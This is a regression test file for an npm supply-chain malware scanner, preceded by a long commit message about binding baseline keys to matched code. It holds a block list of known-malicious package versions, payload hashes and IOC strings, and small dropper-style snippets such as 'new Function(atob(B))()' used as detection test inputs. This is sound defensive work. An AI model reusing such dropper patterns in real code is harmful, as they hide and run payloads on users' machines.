unsloth/tests/security/test_scan_npm_packages.py
Daniel Han 73d9653d5b
scan_packages: key baseline on matched-code hash so payloads in baselined files are not auto-suppressed (#6552)
* scan_packages: key baseline on matched-code hash

The baseline matched on (package, package-relative file, check), which
excluded the matched code, so a future finding of the same check in the
same file was suppressed regardless of what the code did. A malicious
future version of an already-baselined package could place a payload in
the same file under the same check and pass the enforcing gate.

Key the baseline on a hash of the matched code too. The hash is over the
deduped, sorted set of matched spans with L<NN>: line markers stripped, so
version bumps, line shifts and match reordering stay stable while new or
changed flagged code reopens the finding. Version is left out of the key so
routine dependency bumps do not reopen every entry. The hash is capped and
recomputable from the stored evidence.

Regenerate scan_packages_baseline.json against the current dependency set;
the hf-stack, studio and extras scan shards pass enforcing (no active
CRITICAL or HIGH).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* scan_packages: refresh baseline for newer unsloth-zoo release

A newer unsloth-zoo published after the first regenerate added
tests/test_mlx_save_export_regressions.py, a benign test fixture
(temporary_location="/tmp/ignored") that trips the /tmp dropper check.
Regenerate the hf-stack shard against the current set so the entry is
allowlisted; studio and extras are unchanged.

* scan_packages: harden baseline loading against malformed JSON

Guard against a non-dict top-level baseline and non-dict entries so a
corrupt or hand-edited allowlist warns and fails closed instead of
crashing with AttributeError, and treat an explicit evidence: null as
empty.

* scan_packages: hash the full match set, keep indentation, strip only the marker

Address the evidence-hash review feedback:
- Capture every matching line, not the first three, so a payload appended
  after existing matches in a baselined file and check reopens the finding
  instead of riding the sample.
- Preserve leading indentation so a flagged line moved out of a guarded block
  reads as changed.
- Strip only each span's prefix up to the first L<NN>: marker, so an L<NN>:
  inside the matched code is kept and a change to it reopens the finding.

Evidence and its hash are stored in full and stay recomputable from the stored
field. Regenerate the baseline; hf-stack, studio and extras pass enforcing with
no active CRITICAL or HIGH.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* scan_packages: bind baseline evidence to full matched code

Address review feedback on the evidence-hash baseline key:

- Split evidence only on real span delimiters (" | " before an L<NN>:
  marker, or a newline), so a bitwise-or or union type in matched code
  is no longer split apart into separate spans.
- Record matched lines in full (drop the 160-char per-line cap) and
  record every distinct multiline match, so code appended past the cap
  or a second cross-line match reopens the finding instead of riding the
  first one.
- Give the large-JS-bundle and .pth base64-blob findings a content
  digest instead of empty or prefix-only evidence, and record all .pth
  import lines, so a changed bundle, blob or import no longer inherits a
  baselined empty or truncated key.
- Warn when a loaded baseline has entries without evidence_hash so a
  legacy baseline is regenerated rather than silently degraded.

Regenerate scripts/scan_packages_baseline.json against the current dep
set and add regression tests for each case.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* scan_packages: harden multiline and duplicate evidence handling

Follow-up hardening so the evidence hash tracks the full matched code:

- For DOTALL patterns that match across lines, record every line the match
  spans (not just the start line), so a change on a continuation line (the
  URL inside a baselined C2 loop, a swapped credential path) reopens the
  finding. A pathological greedy span is bounded to its head line plus a
  digest of the rest.
- Keep duplicate spans in the canonical evidence so a second identical
  matched line in a new code path changes the key instead of deduping away.
- Anchor the evidence prefix to strip only a genuine leading label or
  line-number marker, leaving a marker-like "L<NN>:" inside raw .pth code
  intact.
- Make the legacy-baseline warning explicit that entries without an
  evidence_hash reopen rather than suppress under a coarse key.

Regenerate scripts/scan_packages_baseline.json (same finding set; entries
for same-file repeated checks are now tracked separately) and add tests.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* scan_packages: bind every combo and large finding to its full content

Close the remaining asymmetric-evidence gaps so a changed payload cannot
ride a reviewed baseline entry:

- Digest a capped multiline span from the code without line markers, so a
  pure line shift stays stable while a continuation-line change reopens.
- Give the "Unusually large executable .pth" finding a content digest
  instead of keying on byte size and import-line count alone.
- Record both contributing signals for the JS credential+network stealer,
  the shell credential+network and persistence-hook combos, and the hidden
  network+exec docstring payload, so changing the network/exec side reopens.
- Allow punctuation in an evidence label prefix so a "network+exec:" label
  is stripped and line shifts do not change the key.

Regenerate scripts/scan_packages_baseline.json and add tests for each case.

* scan_packages: bind remaining Python combos; key npm baseline on evidence

Python scanner: the openssl+key, anti-analysis, DNS-exfil and base64+exec+blob
combos recorded only one contributing signal, so a changed payload on the other
side could ride a reviewed baseline entry. Each now binds every co-occurring
signal (and the blob is digested, since it can sit on a separate line from the
decode call).

npm scanner: scan_npm_packages.py keyed its allowlist on (package, path,
pattern) only, the same coarse-key bypass the Python scanner just closed. Add an
evidence hash to the key (schema v3, fail-closed on older baselines) and store
full evidence. The committed baseline stays empty by design.

Regenerate scripts/scan_packages_baseline.json and add tests for each case.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* scan_npm_packages: bind full blob evidence and harden baseline loader

Follow-up on the npm evidence-hash key:

- _evidence now records every match and, when a snippet is truncated for
  display, appends a digest of the full match. The obfuscated-blob key was
  hashing only the truncated first-match snippet, so a changed payload tail or
  an appended blob in the same package/file/pattern could ride a reviewed entry.
- _load_baseline guards that the root is an object, entries is a list, and each
  entry is a dict before reading it, so a malformed baseline warns and fails
  closed instead of raising AttributeError.

Add tests for a changed blob tail reopening the key and for malformed entries.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* scan_packages: symmetric baseline-loader guards; bind npm outbound host context

- Python _load_baseline now rejects a non-list "entries" with a warning instead
  of raising TypeError, matching the npm loader.
- npm cred-surface-host (outbound) records the host with its URL path / fetch
  call / host config, so a changed outbound path, headers or body reopens the
  key rather than riding the bare host literal.

Add tests for both.

* scan_npm_packages: migrate v2 baselines and bind host-config outbound context

- _load_baseline now migrates schema v2 entries by recomputing the evidence
  hash from stored evidence (with a legacy warning), matching the Python
  loader, instead of discarding them; only pre-v2 basename schemas are rejected.
- The cred-surface-host (outbound) host-config branch now captures the whole
  line (path, headers, body), so a changed outbound payload on the same
  hostname line reopens the key instead of riding the bare host snippet.

Add tests for v2 migration and the host-config context binding.

* scan packages: bind PEM key bodies and npm windowed evidence to baseline keys

scan_packages: embedded-key findings now pin the full PEM block (BEGIN..END)
via a content digest, so a key body swapped under the same marker reopens the
finding instead of riding the unchanged BEGIN line. Single-line and DER keys
were already bound by their full matched line; marker-only references with no
END block (validation header lists) are unaffected, so the committed baseline
is unchanged.

scan_npm_packages: _evidence now digests the full containing line whenever the
shown snippet is only a window into it (short match on a long line, or a
truncated payload), so a changed payload tail outside the display window
reopens the key. The npm baseline is empty, so this changes no suppressions.

Adds regression tests for both cases.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* scan packages: bind multi-line evidence and every blob to baseline keys

_extract_evidence now extends each single-line match over its bracket
continuations, so a multi-line call binds its argument lines and a changed
URL or body on a continuation line reopens the key. After the per-line pass it
also records cross-line matches the scan cannot otherwise see (a DOTALL regex,
or a multi-line construct appended under a check that already had a one-line
match), so an appended multiline payload reopens instead of riding the key.

_blob_digest hashes every large base64 blob (not just the first) for the
base64+exec finding and the .pth large-blob finding, so an appended or swapped
second encoded payload reopens; single-blob files keep the same digest.

scan_npm_packages _evidence digests the full logical line (the matched line
plus its bracket-continuation lines), so a multi-line fetch's option and header
lines bind and a changed payload on a following line reopens the outbound key.

Regenerated the Python baseline: same package/file/check set, 24 entries pick
up the wider multi-line evidence. Adds regression tests for each case.

* scan packages: stop giant greedy spans from binding a whole-file digest

When a greedy DOTALL pattern (reverse shell socket...subprocess, C2 loop) has
its anchor tokens far apart, the match span covers the whole file. Digesting
that span bound thousands of unrelated lines, so the evidence hash drifted on
any edit between the anchors (a dependency bump reshuffling the file), which
made a baselined finding reopen on an upstream release. The multiline pass now
skips an oversized span when the per-line pass already bound the signal lines,
so the evidence is the stable matched lines; a genuinely appended multi-line
construct stays under the cap and is still recorded.

Regenerated the Python baseline against Python 3.12 (the version the scan CI
shards run) so the resolved dependency set matches CI. Same package/file/check
set. Adds a regression test.

* scan packages: tighten evidence binding (order, string brackets, span size)

Address review follow-ups on the evidence extraction:

- _canon_evidence keeps discovery (line) order instead of sorting. Line-shift
  stability already comes from stripping the L<NN>: markers, so order stays
  significant and reordering matched lines (a multi-line call's arguments)
  reopens the finding.
- _logical_line_end (Python) and _logical_line_text (npm) blank string literals
  before counting brackets, so a ) inside a string argument does not close the
  logical line early and drop later argument lines.
- The oversized-span skip now only drops a giant whole-file bridge (over 60
  lines); a genuinely appended multi-line construct is recorded so its payload
  reopens, rather than riding an existing one-line match.
- npm _logical_line_text binds the enclosing bracket group, so a host-config
  object whose { is on a prior line binds its path/headers/body lines.

Regenerated the Python baseline (Python 3.12, matching the scan CI shards):
same package/file/check set. Adds regression tests for each.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* scan npm packages: normalize and bound the logical-line digest

- _evidence whitespace-normalizes the logical line before digesting (matching
  _evidence_hash), so a formatter-only reindent of the bound continuation lines
  does not change the sha256 suffix and reopen an unchanged finding.
- _logical_line_text follows a bracket group to its close up to a hard 200-line
  cap (digest input only), so a config object longer than the backward window
  still binds its whole tail instead of silently truncating.

Adds regression tests. npm baseline is empty, so no regeneration is needed.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* scan: cap single-line evidence and widen npm opener window

Cap each rendered evidence line at 200 chars in scan_packages.py: a long
or minified one-line file is shown as a bounded prefix plus a sha256 of the
full line, so a packed payload cannot dump unbounded content into the CI
logs or baseline while a change past the cutoff still changes the digest
and reopens the finding. Mirrors how the npm scanner bounds its snippets.

Widen the npm backward opener window (_MAX_CONT_LINES 12 to 200, symmetric
with the forward cap) so a host deep inside a large options object binds
the whole object, not just its own line; a changed path, header, or body on
any property reopens.

Regenerate the Python baseline with Python 3.12: only the protobuf
nspkg.pth and unsloth-zoo compiler.py evidence change, both from the new
line cap; the package/file/check key set is unchanged.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* scan: bind all host contexts, deep call continuations, far-back npm openers

Three fail-closed evidence gaps surfaced by review of the previous round.

scan_npm_packages.py: measure the forward bracket-group cap from the matched
line (idx + _MAX_GROUP_LINES) instead of the opener, so an opener found near
the widened backward limit no longer consumes the forward budget and drops
the path, headers, or body that follow the host.

scan_npm_packages.py: _outbound_host_evidence now records every outbound
context form for a host (URL, fetch-context, host-config), claiming each
non-overlapping match in form order, so a separate host-config request added
beside an already-baselined URL changes the evidence and reopens the key.
The common single-context case keeps its existing snippet.

scan_packages.py: follow a matched Python call over its continuations up to a
separate _MAX_CALL_LINES (40), decoupled from the 12-line display threshold,
so a multi-line requests.post( binds its whole argument list in the digest
and a changed body deep in the call reopens; bounded so a miscounted bracket
cannot swallow unrelated code. No baseline change: the current dependency set
has no matched call that closes between 13 and 40 lines, confirmed by a
Python 3.12 regenerate that produced a byte-identical baseline.

* scan: clamp npm depth, pin large bundles, follow backslash and bound .pth dump

Four fail-closed evidence gaps surfaced by review of the previous round.

scan_npm_packages.py: clamp the backward opener scan at depth 0 so a leading
unmatched closer (a preceding block whose opener is outside the backward
window) no longer drives depth negative and masks the real enclosing opener
that follows; a host-config object after such a block now binds and a changed
path reopens.

scan_packages.py: a large JS bundle now pins its whole content even when
another JS heuristic already fired. The bundle digest was only added when no
other finding existed; it is now appended to every finding's evidence on a
large bundle, so an unchanged obfuscation signature no longer lets changed
payload elsewhere ride the matched-line key.

scan_packages.py: _logical_line_end follows explicit backslash line
continuations, so a call split with a backslash before its parenthesis binds
the continuation line (URL/body) instead of returning at the zero-depth API
line.

scan_packages.py: the catch-all .pth import evidence is bounded through
_cap_line (prefix plus a digest of every line) so a large .pth of benign
imports cannot dump the whole member into the logs or baseline while an
appended or swapped import still reopens.

Baseline regenerated with Python 3.12: key set unchanged; one entry
(unsloth-zoo compiler.py) gains the backslash-continued banner lines now
bound by the continuation fix.

* scan: handle multi-line strings, lifecycle bodies, and de-quadratic evidence

Addresses a review round plus a performance audit of the evidence extractor.

Correctness (fail-closed):
- Bind the UNION of the single-line-blanked and multi-line-blanked bracket spans
  in both scanners. The multi-line view blanks a triple-quoted Python string or a
  backtick template literal that spans lines, so a `)` inside such a string no
  longer closes the enclosing call early and drop later arguments. The single-line
  view still counts a payload embedded INSIDE a string, so a dropper that hides a
  call in a string keeps its argument lines bound. Taking the larger span never
  shrinks the binding below either view, avoiding a fail-open regression.
- cred-env-in-lifecycle now pins the whole lifecycle script body via a digest, so
  a changed non-token line (e.g. adding a curl exfil beside the token reference)
  reopens, not just a change on the token line.

Performance / DoS (the scanner runs on attacker-controlled package files up to the
64 MiB / 16 MiB member caps, with no per-file time budget):
- _extract_evidence precomputes newline offsets once and maps match offsets with
  bisect, removing the O(matches) whole-file content.count per match that made the
  finditer fallback quadratic (a crafted minified file went from ~13 s/MiB and
  hours at the cap to linear).
- npm _index_text splits and string-blanks the file once per evidence call instead
  of per match (was O(matches x file) time and allocation).
- Bound evidence output: _MAX_EVIDENCE_SPANS (Python) and _MAX_EVIDENCE_MATCHES
  (npm) fold the remainder into a digest so a file with thousands of matches cannot
  build a multi-megabyte evidence/baseline blob while an added/removed match past
  the cap still changes the key.
- _outbound_host_evidence caps matches per form and bounds the overlap claim so a
  host repeated many times cannot make it quadratic.

No baseline change: a Python 3.12 regenerate is byte-identical (the union equals the
legacy single-line span for every current dependency file; the cap thresholds sit
above the largest real entry), so these are forward-looking hardening with no drift.

* scan: count all overflow matches, bind their context, blank JS regex literals

Follow-ups on the evidence output caps from the previous commit.

- _outbound_host_evidence no longer truncates each pattern's match iterator with
  islice; it iterates every match and runs the overlap dedup only while the
  display list is below the cap (so claimed stays bounded and the check is O(cap)
  per match, not quadratic), folding every match past the cap into the overflow
  digest. A host context beyond the 64th is counted again, so it reopens.
- The overflow digest (both scanners, via a shared _overflow_digest) binds each
  overflow match's logical-line context, not just the regex match text, so a
  changed payload on an over-cap line reopens even with the matched token
  unchanged.
- The multi-line JS blanked view now blanks regex-literal bodies (tracking the
  previous significant char for regex-vs-division and char classes for a literal
  `/` inside `[...]`), so a `)` inside `/)/` no longer closes an outbound call
  early. The bound span is the union of the single-line and multi-line views, so
  an imperfect regex decision only ever grows the span, never shrinks it.
- The Python overflow digest canonicalizes spans (strips L<NN>: markers via
  _canon_evidence) before hashing, restoring line-shift stability for the
  over-cap region.

No baseline change: the overflow branches only trigger above the per-finding caps
(above the largest real entry), and the npm baseline is empty, so a Python 3.12
regenerate is byte-identical.

* scan: refresh baseline for ipython interactiveshell.py span drift

A newer ipython release changed the filesystem-enumeration span in
IPython/core/interactiveshell.py, so its content digest no longer matched the
baselined evidence and the studio scan shard flagged it as a non-baselined
CRITICAL. Regenerated with Python 3.12: only the ipython entry's evidence_hash
changes; the package/file/check key set is unchanged, and a studio enforcing
spot-check exits 0.

* Bound scanner evidence memory: stream overflow spans and cap lifecycle baseline size

scan_packages.py: _extract_evidence no longer materializes a rendered span
per match before slicing at the display cap. Once out holds _MAX_EVIDENCE_SPANS
spans, further spans fold straight into a running digest, so a minified or
padded file with hundreds of thousands of matching lines keeps memory bounded
to the display cap instead of the match count. The fold reproduces
_canon_evidence(" | ".join(overflow)) byte for byte, so the overflow digest and
every baseline key are unchanged.

scan_npm_packages.py: lifecycle-fetch-exec and cred-path-in-lifecycle stored the
entire install script body as evidence, so --write-baseline on a package with a
multi-MiB lifecycle script bloated the baseline JSON. Both now store a bounded
matched snippet plus a body-sha256 digest, matching cred-env-in-lifecycle. The
digest still binds the whole body, so a change to any line reopens the finding.

Adds tests for the streamed overflow bound and the bounded-but-reopens lifecycle
evidence. Baseline unchanged (byte-identical Python evidence; npm baseline empty).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Make npm bracket-group scan order-aware so a same-line close-then-open binds

_scan_group counted brackets with a per-line net (opens minus closes), which
collapses intra-line order: a line that closes a prior block and then opens the
host-config object on the same line, e.g. `}); const opts = {`, nets to <= 0, so
the trailing `{` was dropped and the group started at the hostname line. A
changed path/headers on the following lines then hashed to the same evidence and
could ride an existing baseline key.

Replace the net count with an order-aware (L, R) reduction per line (L closers
needing an opener to the left, R openers needing a closer to the right) and apply
it in order in both the backward and forward scans, clamping stray closers at 0.
The trailing opener now stays visible so the whole object binds and a changed
payload reopens. Per-line cost is unchanged (one C-level bracket findall), so the
existing outbound-host evidence is byte-identical on all prior shapes; only the
previously-dropped same-line case changes. Adds a regression test for it.

* Harden scanner evidence: bound memory and bind Python call tails fail-closed

Five fixes across both scanners, none of which change the committed baseline (a
full regen of all three pip shards produced a byte-identical 185-key set).

scan_npm_packages.py: _evidence and _outbound_host_evidence collected every regex
match into a list before applying the 64-match display cap, so a text file under
the size cap that repeats a cheap signal (such as NPM_TOKEN) millions of times
could allocate a huge list of re.Match objects and stall or OOM before the
overflow digest ran. They now stream from finditer and fold overflow as matches
arrive via a shared _fold_overflow_match helper, byte-identical to the prior
digest.

scan_packages.py:
- _extract_evidence kept inserting every unique over-cap span into the seen set
  even after it stopped appending to the display list, so a generated file with
  millions of one-line matches still grew that set unbounded. It now tracks spans
  only while filling the display list (per-line spans are unique by line number,
  so dropping them past the cap cannot miss a dedup).
- _scan_line_end counted brackets with a per-line net, so a continued statement
  that closes on the same line it opens a flagged call (a leading "]" before
  "requests.post(") had the call's open paren cancelled and bound only the opener
  line. It now applies brackets in order via _bracket_lr (leading closers clamp at
  0), matching the npm bracket fix.
- a single-quoted string continued by a trailing backslash was not tracked across
  lines, so a close paren inside the continued string on the next line closed the
  call early; _blank_code_strings now carries the continuation.
- a call with more argument lines than the soft cap was hashed only through the
  cap, so a changed data=/headers tail past it stayed suppressed; a closing call
  is now followed to its real close under a 200-line hard limit (a never-closing
  opener still stops at the 40-line soft cap so it cannot swallow the file).

Adds regression tests for each. npm baseline is empty; the Python baseline is
unchanged (verified byte-identical by regenerating all three shards).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Bind giant DOTALL span anchors and add context to constant IOC evidence

Two fail-closed gaps where a changed payload could keep the same evidence hash
and stay suppressed by the baseline.

scan_packages.py: a giant greedy DOTALL span (a cross-line IOC match bridging
more than 60 lines, e.g. RE_TEMP_EXEC matching a /tmp line and a much-later
subprocess line) was dropped entirely once the per-line pass had any match, so an
appended cross-line payload -- a new /tmp line plus a later subprocess line that
share no single line, so the per-line pass never binds them -- produced the same
evidence and rode the key. The span is no longer dropped: it is bound by its head
and tail anchor lines plus a digest over just those (no line numbers, so a pure
line shift is stable). An added or moved anchor reopens the finding, while churn
in the bridged interior stays stable, so this does not reintroduce whole-file
drift. Two baseline entries (multiprocess test, unsloth-zoo scanner file) carry
such a span and are refreshed; a full three-shard regen confirmed only those two
keys change.

scan_npm_packages.py: known-ioc-string and cred-surface-host (always-bad) recorded
only the bare needle/host as evidence, so a reviewed tarball that kept the IOC
string while altering the adjacent fetch/exfil body produced an identical key.
They now bind matched-line context: known-ioc-string via the matched line and its
bracket-group continuation, cred-surface-host (always-bad) via the outbound call
context (path/headers/body, falling back to the bare host when not in an outbound
call). A changed payload on the same call now reopens.

Adds regression tests for each. npm baseline is empty; the Python baseline updates
only the two giant-span entries.

* Hash giant-span interiors, bind exec/eval trigger, JS content, intra-literal whitespace

Four fail-closed gaps where a changed payload could keep the same evidence hash.

scan_packages.py:
- A giant bridged DOTALL span was bound only by its head and tail anchors, so a
  cross-line payload inserted into the bridged interior between unchanged outer
  anchors kept the same key. The whole span content is now digested (via _render),
  so any interior change reopens; a pure line shift stays stable because the digest
  is over the markerless code. Two baseline entries (multiprocess test, unsloth-zoo
  scanner file) carry such a span; with full-interior binding, multiprocess
  resolved at two versions across shards now yields two distinct entries where the
  anchor digest had collapsed them into one.
- The exec/eval-with-hidden-payload findings omitted the visible exec/eval line
  that makes the hidden string executable, so flipping a harmless eval("1+1") to
  exec(__doc__) kept the same key while arming the payload. The trigger line from
  the real-code view is now bound into the evidence.
- check_js_file extracted evidence with the Python-string-aware extractor, which
  does not blank JS backtick template literals, so a template containing a close
  paren closed a call's bracket span early and omitted later option/body lines. The
  full file content digest is now pinned to every JS finding (not just large
  bundles), binding the whole call.

scan_npm_packages.py: the evidence canon collapsed all whitespace via split(),
erasing whitespace inside JS string literals along with harmless indentation, so a
changed request body 'a b' -> 'a  b' kept the same key. A new _canon_preserve_strings
collapses whitespace only OUTSIDE string literals (reindent-stable) while preserving
it INSIDE single/double/backtick literals (intra-payload edits reopen). Used for the
evidence hash and the logical-line digests.

Adds regression tests for each. npm baseline is empty; the Python baseline updates
the two giant-span entries and adds the second multiprocess version's entry.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-01 04:03:59 -07:00

964 lines
38 KiB
Python

"""Regression tests for scripts/scan_npm_packages.py. Run fully offline (network_blocker fixture)."""
from __future__ import annotations
import io
import json
import subprocess
import sys
import tarfile
from pathlib import Path
import pytest
REPO_ROOT = Path(__file__).resolve().parents[2]
SCRIPT = REPO_ROOT / "scripts" / "scan_npm_packages.py"
FIXTURES = Path(__file__).resolve().parent / "fixtures"
# Import the module to introspect IOC tables directly.
sys.path.insert(0, str(REPO_ROOT))
from scripts import scan_npm_packages as snp # noqa: E402
# ---------------------------------------------------------------------------
# Subprocess helpers.
# ---------------------------------------------------------------------------
def _run_scanner(lockfile: Path, *, timeout: int = 30) -> subprocess.CompletedProcess:
return subprocess.run(
[sys.executable, str(SCRIPT), "--lockfile", str(lockfile)],
capture_output = True,
text = True,
timeout = timeout,
)
# ---------------------------------------------------------------------------
# Lockfile pass: structural-only fixtures (no network).
# ---------------------------------------------------------------------------
def test_malicious_lockfile_exits_1():
"""Structural IOCs alone (non-registry resolved URL + missing integrity) fail the scanner offline."""
fixture = FIXTURES / "structural_only_lockfile.json"
assert fixture.is_file(), fixture
proc = _run_scanner(fixture)
assert proc.returncode == 1, (
f"expected exit 1, got {proc.returncode}\n"
f"--- stdout ---\n{proc.stdout}\n--- stderr ---\n{proc.stderr}"
)
combined = proc.stdout + proc.stderr
# Scanner aggregates structural findings into the summary; assert on count + FAIL banner.
assert "2 structural finding(s)" in combined
assert "FAIL" in combined
# Confirm parse_lockfile() surfaces the right pattern codes via the in-process API.
entries, struct = snp.parse_lockfile(fixture)
patterns = {f.pattern for f in struct}
assert {"non-registry-resolved-url", "missing-integrity-hash"} <= patterns
def test_clean_lockfile_exits_0():
"""Clean fixture has only entries parse_lockfile() skips, so the scanner exits 0 offline."""
fixture = FIXTURES / "clean_lockfile.json"
assert fixture.is_file(), fixture
proc = _run_scanner(fixture)
assert proc.returncode == 0, (
f"expected exit 0, got {proc.returncode}\n"
f"--- stdout ---\n{proc.stdout}\n--- stderr ---\n{proc.stderr}"
)
assert "0 finding(s)" in proc.stdout
assert "0 hard error(s)" in proc.stdout
# ---------------------------------------------------------------------------
# BLOCKED_NPM_VERSIONS table -- gated on Fork 1.
# ---------------------------------------------------------------------------
_BLOCKED_AVAILABLE = hasattr(snp, "BLOCKED_NPM_VERSIONS")
@pytest.mark.skipif(
not _BLOCKED_AVAILABLE,
reason = "Fork 1 (BLOCKED_NPM_VERSIONS constant) not merged yet",
)
def test_blocked_npm_versions_complete():
table = snp.BLOCKED_NPM_VERSIONS
tanstack_keys = [k for k in table if k.startswith("@tanstack/")]
assert len(tanstack_keys) == 42, (
f"expected 42 @tanstack/* entries, got {len(tanstack_keys)}: " f"{sorted(tanstack_keys)}"
)
assert "@opensearch-project/opensearch" in table
assert table["@opensearch-project/opensearch"] == {"3.5.3", "3.6.2", "3.7.0", "3.8.0"}
squawk = [k for k in table if k.startswith("@squawk/")]
assert len(squawk) >= 22, (
f"expected at least 22 @squawk/* entries (full safedep.io enumeration), "
f"got {len(squawk)}: {sorted(squawk)}"
)
# @squawk/mcp must cover the full malicious range 0.9.1..0.9.5 (safedep.io enumeration).
assert {"0.9.1", "0.9.2", "0.9.3", "0.9.4", "0.9.5"} <= table["@squawk/mcp"]
uipath = [k for k in table if k.startswith("@uipath/")]
assert len(uipath) >= 64, (
f"expected at least 64 @uipath/* entries (Aikido enumeration), "
f"got {len(uipath)}: {sorted(uipath)}"
)
# Anchor a known published entry.
assert "0.9.5" in table["@uipath/rpa-tool"]
# Aikido (May-12 wave): @mistralai/* npm scope (separate from PyPI mistralai).
assert table["@mistralai/mistralai"] == {"2.2.2", "2.2.3", "2.2.4"}
assert table["@mistralai/mistralai-gcp"] == {"1.7.1", "1.7.2", "1.7.3"}
assert table["@mistralai/mistralai-azure"] == {"1.7.1", "1.7.2", "1.7.3"}
# Aikido: @tallyui/* (10 packages x 3 versions).
tallyui = [k for k in table if k.startswith("@tallyui/")]
assert len(tallyui) == 10, f"expected 10 @tallyui/*, got {sorted(tallyui)}"
# Aikido: @beproduct/nestjs-auth covers the 0.1.2 .. 0.1.19 range (18 versions).
assert table["@beproduct/nestjs-auth"] == {f"0.1.{i}" for i in range(2, 20)}
# Aikido: unscoped infostealer packages (10 total).
for unscoped in (
"safe-action",
"ts-dna",
"cross-stitch",
"cmux-agent-mcp",
"agentwork-cli",
"git-branch-selector",
"wot-api",
"git-git-git",
"nextmove-mcp",
"ml-toolkit-ts",
):
assert unscoped in table, f"missing unscoped malicious pkg: {unscoped}"
# Aikido: payload SHA-256 hashes wired into KNOWN_IOC_STRINGS.
ioc = snp.KNOWN_IOC_STRINGS
assert "ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c" in ioc
assert "2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96" in ioc
assert "bun run tanstack_runner.js" in ioc
@pytest.mark.skipif(
not _BLOCKED_AVAILABLE,
reason = "Fork 1 (BLOCKED_NPM_VERSIONS pre-fetch hook) not merged yet",
)
def test_blocked_npm_versions_short_circuits_download():
"""Pre-fetch hook flags the malicious tanstack entry (exit 1) without hitting the npm registry."""
fixture = FIXTURES / "malicious_lockfile.json"
proc = _run_scanner(fixture, timeout = 10)
assert proc.returncode == 1
combined = proc.stdout + proc.stderr
assert "blocked-known-malicious" in combined or "BLOCKED_NPM_VERSIONS" in combined
# ---------------------------------------------------------------------------
# KNOWN_IOC_STRINGS coverage -- every IOC must trip the scanner.
# ---------------------------------------------------------------------------
def _extract_pkg_with_ioc(ioc: str, tmp_path: Path) -> Path:
"""Build a one-file npm package extract tree embedding `ioc` in package.json; return its root."""
pkg_json = {
"name": "ioc-fixture",
"version": "0.0.1",
"description": f"contains literal: {ioc}",
}
root = tmp_path / f"pkg_{abs(hash(ioc)) % 10**8}"
(root / "package").mkdir(parents = True)
(root / "package" / "package.json").write_text(
json.dumps(pkg_json),
encoding = "utf-8",
)
return root
def test_every_known_ioc_string_caught(tmp_path):
"""Each KNOWN_IOC_STRINGS entry must be surfaced by scan_extracted_tree(); guards table drift."""
iocs = snp.KNOWN_IOC_STRINGS
assert iocs, "KNOWN_IOC_STRINGS unexpectedly empty"
pkg = snp.PackageEntry(
name = "ioc-fixture",
version = "0.0.1",
resolved = "https://registry.npmjs.org/ioc-fixture/-/ioc-fixture-0.0.1.tgz",
integrity = "sha512-stub",
lockfile_key = "node_modules/ioc-fixture",
)
for ioc in iocs:
root = _extract_pkg_with_ioc(ioc, tmp_path)
findings = snp.scan_extracted_tree(pkg = pkg, root = root)
hit = any(ioc in f.evidence or ioc in f.detail for f in findings)
assert hit, (
f"KNOWN_IOC_STRINGS[{ioc!r}] not detected by scan_extracted_tree; "
f"findings = {[str(f) for f in findings]}"
)
# ---------------------------------------------------------------------------
# Sanity: lockfile parse pass surfaces the structural findings we expect.
# ---------------------------------------------------------------------------
def test_parse_lockfile_structural_findings():
"""Structural-only fixture yields 2 structural findings and 0 entries."""
entries, struct = snp.parse_lockfile(FIXTURES / "structural_only_lockfile.json")
assert entries == []
patterns = {f.pattern for f in struct}
assert "non-registry-resolved-url" in patterns
assert "missing-integrity-hash" in patterns
# ---------------------------------------------------------------------------
# Code-only scanning (_strip_js_noncode): blank comments WITHOUT touching
# strings/regex/code, preserve geometry, fail open on lexer confusion.
# ---------------------------------------------------------------------------
def _strip(src):
out = snp._strip_js_noncode(src)
assert len(out) == len(src), "geometry (length) must be preserved"
assert out.count("\n") == src.count("\n"), "newline count must be preserved"
return out
def test_strip_blanks_line_and_block_comments():
out = _strip("var x = 1; // eval(atob('p'))\n/* subprocess */ run();")
assert "var x = 1;" in out and "run();" in out
assert "eval(atob" not in out
assert "subprocess" not in out
def test_strip_keeps_url_in_string_and_template():
src = 'const a = "http://example.com/x";\nconst b = `http://${h}//y`; go();'
out = _strip(src)
assert out == src # nothing is a comment -> byte-identical
assert "http://example.com/x" in out and "//y" in out
def test_strip_regex_with_escaped_slashes_keeps_trailing_code():
# A naive "// = comment" stripper would eat `evil()`; the lexer must not.
src = r"const re = /https?:\/\//g; evil();"
out = _strip(src)
assert out == src
assert "evil();" in out
def test_strip_preserves_assigned_base64_payload():
# npm droppers hide payloads in assigned string literals -- never blank them.
src = 'var B = "QWxhZGRpbjpvcGVuc2VzYW1l"; new Function(atob(B))();'
out = _strip(src)
assert out == src
assert "QWxhZGRpbjpvcGVuc2VzYW1l" in out
def test_strip_fails_open_on_unterminated_block_comment():
src = "code(); /* never closed"
assert snp._strip_js_noncode(src) == src # fail open: unchanged, still fully scanned
def test_strip_only_applies_to_js_family():
# A `//`-containing JSON/YAML string must be left intact (JS lexer must not apply).
PKG = snp.PackageEntry(
name = "x",
version = "1.0.0",
resolved = "https://registry.npmjs.org/x/-/x-1.0.0.tgz",
integrity = "sha512-z",
lockfile_key = "node_modules/x",
)
# scan_text_blob strips for .js but not for .json.
